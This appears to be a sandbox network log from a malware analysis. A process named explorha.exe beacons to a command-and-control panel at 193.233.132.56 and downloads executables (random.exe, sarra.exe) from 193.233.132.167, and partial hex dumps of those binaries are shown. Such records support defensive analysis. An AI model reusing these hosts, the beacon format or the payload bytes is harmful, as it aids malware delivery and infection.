Apr 19, 2024 03:29:12.260936975 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:12 GMT Content-Type: application/octet-stream Content-Length: 1166336 Last-Modified: Fri, 19 Apr 2024 00:36:20 GMT Connection: keep-alive ETag: "6621bc84-11cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 84 bc 21 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 12 00 00 04 00 00 94 fe 11 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 7c 61 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 11 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7c 61 04 00 00 40 0d 00 00 62 04 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 11 00 00 76 00 00 00 56 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL!f"w@0@@@d\|@\|au4@.text `.rdata@@.datalpH@.rsrc\|a@b@@.relocuvV@B
Apr 19, 2024 03:29:12.260978937 CEST	1289	IN	Data Raw: 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 44 00 e8 72 f0 01 00 59 c3 e8 59 3c 00 00 68 fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY
Apr 19, 2024 03:29:12.261015892 CEST	1289	IN	Data Raw: 6b 10 04 00 8b 4f d4 85 c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d Data Ascii: kOu3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Apr 19, 2024 03:29:12.261055946 CEST	1289	IN	Data Raw: 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 8b 7f 38 eb d2 8b 40 38 eb ee 33 c0 c7 05 80 18 4d 00 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 Data Ascii: {{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GF
Apr 19, 2024 03:29:12.261094093 CEST	1289	IN	Data Raw: 00 50 57 8b f1 e8 4e 00 00 00 85 c0 78 38 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb Data Ascii: PWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3W
Apr 19, 2024 03:29:12.261130095 CEST	1289	IN	Data Raw: ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 8b 45 fc 48 4f 83 bd 6c ff ff ff 00 89 45 fc 0f 84 83 03 04 00 80 bd 75 ff ff ff 00 8b 45 c0 0f 85 7b 03 04 00 8b 18 Data Ascii: ]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uE
Apr 19, 2024 03:29:12.261168003 CEST	1289	IN	Data Raw: 8b c1 89 51 20 89 51 28 c3 55 8b ec 8b 45 08 85 c0 0f 8f 88 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e Data Ascii: Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_
Apr 19, 2024 03:29:12.261228085 CEST	1289	IN	Data Raw: 5e c9 c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 88 5d b4 e8 78 1c 00 00 8b 4d 0c be 18 14 4d 00 8a 45 b4 88 01 8b ce e8 db 0b 00 00 68 9c ca 49 00 Data Ascii: ^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]EmSSEPEPxM
Apr 19, 2024 03:29:12.261266947 CEST	1289	IN	Data Raw: 11 83 7e 04 00 75 0d 89 4e 04 ff 06 89 4e 08 5e 5d c2 04 00 8b 46 08 89 48 04 eb ee 55 8b ec b8 04 00 01 00 e8 ec eb 03 00 56 8d 45 fc 8b f2 50 8d 85 fc ff fe ff 50 68 ff 7f 00 00 ff 31 ff 15 68 c3 49 00 8b 45 fc 85 c0 74 05 33 c9 66 89 08 8d 8d Data Ascii: ~uNN^]FHUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;Qu_^]USVWueYN3C;FPiq?PFuCP
Apr 19, 2024 03:29:12.261307001 CEST	1289	IN	Data Raw: 56 57 68 b4 03 00 00 33 db c7 44 24 14 a8 03 00 00 8d 44 24 18 8b f1 53 50 e8 de ea 01 00 83 c4 0c 39 9e 98 01 00 00 75 0b a1 e4 13 4d 00 89 86 98 01 00 00 39 9e a4 01 00 00 75 11 a1 e8 13 4d 00 89 86 a4 01 00 00 89 86 a8 01 00 00 39 9e b0 01 00 Data Ascii: VWh3D$D$SP9uM9uM9uMSW[Md$$D$F@D$D$D$ qD$$=hMD$PjIhM_^[]U=hMV
Apr 19, 2024 03:29:12.503591061 CEST	1289	IN	Data Raw: 41 fc 39 18 74 44 8b 01 6a 03 ff 10 ff 77 14 e8 b3 c0 01 00 59 8d 4f 18 89 5f 08 89 5f 0c 89 5f 10 89 5f 14 89 5f 4c 66 89 1f e8 64 2a 00 00 8d 4f 28 e8 7a da ff ff 39 5f 58 0f 87 f6 f6 03 00 8d 4f 50 5f 5b e9 3e da ff ff 50 e8 77 c0 01 00 59 eb Data Ascii: A9tDjwYO_____Lfd*O(z9_XOP_[>PwYUS]EVWhA@~7jV&tQWYY_^[]VWj^$MZu MMrZMhZM^ZMTZM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:15.465560913 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000055001&unit=246122658369
Apr 19, 2024 03:29:15.715399981 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49722	193.233.132.167	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:15.978332996 CEST	56	OUT	GET /cost/random.exe HTTP/1.1 Host: 193.233.132.167
Apr 19, 2024 03:29:16.221138000 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:16 GMT Content-Type: application/octet-stream Content-Length: 2295808 Last-Modified: Fri, 19 Apr 2024 00:36:37 GMT Connection: keep-alive ETag: "6621bc95-230800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 0c 9a 1f 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 32 04 00 00 00 00 00 00 10 58 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 58 00 00 04 00 00 0a 19 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 54 4d 57 00 4c 00 00 00 6d 10 15 00 95 00 00 00 00 50 14 00 ec b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 4d 57 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 4c 57 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ec b5 00 00 00 50 14 00 00 82 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 15 00 00 02 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 20 15 00 00 02 00 00 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6a 77 79 65 79 6e 69 00 40 19 00 00 d0 3e 00 00 32 19 00 00 d4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6f 65 75 71 78 77 62 00 10 00 00 00 10 58 00 00 02 00 00 00 06 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$Pttt_wt_qt_sttptwtqOt_pt_rt_utu4t\|}t\|tt\|tt\|vtRichtPELf'42XP@ X#@TMWLmPDMWLWt@ @>@.rsrcPN@.idata @ ) @ejwyeyni@>2@zoeuqxwbX#@
Apr 19, 2024 03:29:16.221177101 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 19, 2024 03:29:16.221215963 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 19, 2024 03:29:16.221254110 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 19, 2024 03:29:16.221295118 CEST	1289	IN	Data Raw: 2c a8 8e c8 17 b8 c4 30 48 c8 c4 40 c2 1d d8 12 41 bb 50 42 93 52 02 fc b3 45 60 e9 01 b0 24 0f 28 20 4a 97 d2 40 18 b0 68 45 df 99 ae b1 22 30 96 06 1f 4d ef b2 88 df 90 1f 9e 63 a4 d0 e9 1e b9 44 df 28 ed 11 88 15 12 80 10 8c b3 b9 50 50 68 a0 Data Ascii: ,0H@APBRE`$( J@hE"0McD(PPht@0 )L$&*/+,2^.H.O6.P"DBh@@=J!0P!`PB@>i%DpQB4B!$?%i#d)Bu\|"$H
Apr 19, 2024 03:29:16.221333981 CEST	1289	IN	Data Raw: 15 f2 a7 45 a0 cd 60 25 3d 46 71 16 50 f6 ab b4 a2 4b 01 8a 7d 23 b8 d3 09 15 2b c6 50 87 35 ec ee cb 6a a7 5b 9b c8 05 8a 55 ee f1 a0 18 bc eb 65 03 1c f1 79 b0 07 ad e2 e5 0f a8 b6 9b 3d f8 e8 8a 55 c2 b6 08 b1 e2 7c 3f ed ec 55 eb 90 cf 50 01 Data Ascii: E`%=FqPK}#+P5j[Uey=U\|?UPb~/U;uPB#Hj=LbKmauV_^^$SbUA3dB]n_f591J$?v<=4"R<(.Vlzu+t$/z
Apr 19, 2024 03:29:16.221373081 CEST	1289	IN	Data Raw: 86 9a 39 92 92 cd b5 9f 70 23 84 e7 e0 89 86 f5 b7 3f eb 41 1e 04 31 00 f7 3b c7 0f 43 f0 24 81 fe 76 6e 83 8d 46 23 02 79 3b c6 0f 86 e3 a0 8d eb bf 85 f6 26 74 16 73 14 41 45 97 a0 c6 45 68 e4 3f 3c 39 1a 33 ff 15 04 84 e4 f6 53 51 1d 2c 06 25 Data Ascii: 9p#?A1;C$vnF#y;&tsAEEh?<93SQ,%69;uPU)H\-PA#CP4RZr=)KIIHR/3;Pd710c>u0yjxE.^`^u=$H#`vP63@"Ut,AAQ
Apr 19, 2024 03:29:16.221410990 CEST	1289	IN	Data Raw: f0 14 2e 44 a2 5f b4 f1 8d f0 c2 b8 9c 9d d0 17 e6 2f 90 13 0c 56 c4 6f 72 d3 50 46 9c fd 0c 7d f7 04 e1 f2 27 2c 5e 51 c0 b5 3a ce e8 24 e3 56 9d a0 df 6a 0d 68 9c 31 64 52 6c 84 f2 41 aa eb 09 bd 91 7b 69 79 17 79 8b c8 13 1a 77 a9 28 c0 b9 5e Data Ascii: .D_/VorPF}',^Q:$Vjh1dRlA{iyyw(^ f~>,'?sTi"p)NlBU~UjAG:Jp,[@.Bb4#d,{ O4qw[tFr`GKPu{~a~O`hX3E
Apr 19, 2024 03:29:16.221448898 CEST	1289	IN	Data Raw: e8 56 b8 a4 39 38 51 7a 6a 1c 00 d7 50 9c a5 5e af 82 21 16 8b 33 c0 6f b1 ad 6c 30 4d 25 f0 f9 4a 5b f4 69 71 5c 5b 3e 43 e1 92 8e e5 d1 80 ad 33 10 95 5b ed 08 40 a7 91 50 79 24 2f 8d 7f e2 09 5b 76 a5 73 fb 80 ca 8d 75 e5 85 c9 00 79 34 f7 d9 Data Ascii: V98QzjP^!3ol0M%J[iq\[>C3[@Py$/[vsuy4fNA0lTNuN-.0T;uT0W+tAlwOi4RJ\|uIW}Ox*=uJK;J`
Apr 19, 2024 03:29:16.221488953 CEST	1289	IN	Data Raw: a0 00 b3 3c 4a 3b c7 26 74 2c c2 d0 1f 2b 26 5d f8 80 00 39 5e 10 72 5b 89 da 0a 78 08 ec 87 60 0e 33 d2 66 7a 89 18 59 eb 2e 72 f0 3b 18 d9 75 0d 4d 83 e3 98 d7 05 fb 06 7c 1c eb 93 83 49 dd 8e 33 3c 6a e2 e5 b7 f7 0d cf 21 b8 8b 18 d1 ff d8 6b Data Ascii: <J;&t,+&]9^r[x`3fzY.r;uM\|I3<j!kW=m`'UAQ>[ZF?&`McO.rn,sA,{*Fg@+RI#HG1QCC$V%\PuBBn7si'O
Apr 19, 2024 03:29:16.464555979 CEST	1289	IN	Data Raw: da 25 f6 73 c9 35 a0 90 dd b8 81 4a ec 95 33 83 f3 8d 71 d4 4b b4 c1 96 68 98 25 ba 97 1a d0 e0 53 70 0b 04 e8 52 ca f1 29 c6 d0 4c 76 50 ee 74 9c 72 8c aa fa 55 e0 97 e9 44 85 45 10 02 d3 64 84 0d 5b 10 e2 2e 2a 1d 27 66 92 94 af 28 4e 5c 45 48 Data Ascii: %s5J3qKh%SpR)LvPtrUDEd[.'f(N\EHJ7O?;P@i\<2='`OV@D4 .MBlp"A#c x,Rl%sXHlNdm.dRx$r:AKpL\|]6JnB\|bmB$1P<fWf +I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49741	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:21.206724882 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000056001&unit=246122658369
Apr 19, 2024 03:29:21.453392029 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49746	193.233.132.167	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:21.996984005 CEST	55	OUT	GET /cost/sarra.exe HTTP/1.1 Host: 193.233.132.167
Apr 19, 2024 03:29:22.245256901 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:22 GMT Content-Type: application/octet-stream Content-Length: 2310656 Last-Modified: Fri, 19 Apr 2024 00:36:46 GMT Connection: keep-alive ETag: "6621bc9e-234200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 0c 9a 1f 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 48 04 00 00 00 00 00 00 00 59 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 59 00 00 04 00 00 a3 8c 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 cc 4a 58 00 4c 00 00 00 5e 10 15 00 72 00 00 00 00 50 14 00 f8 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc 4a 58 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 4a 58 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f8 b2 00 00 00 50 14 00 00 80 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 15 00 00 02 00 00 00 ce 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 20 15 00 00 02 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 61 76 6e 65 79 71 71 00 70 19 00 00 90 3f 00 00 6c 19 00 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 78 63 77 7a 66 70 63 00 10 00 00 00 00 59 00 00 04 00 00 00 3e 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$Pttt_wt_qt_sttptwtqOt_pt_rt_utu4t\|}t\|tt\|tt\|vtRichtPELf'4HYP@Y#@JXL^rPJXlJXt@ @>@.rsrcPN@.idata @ p* @oavneyqqp?l@ixcwzfpcY>#@
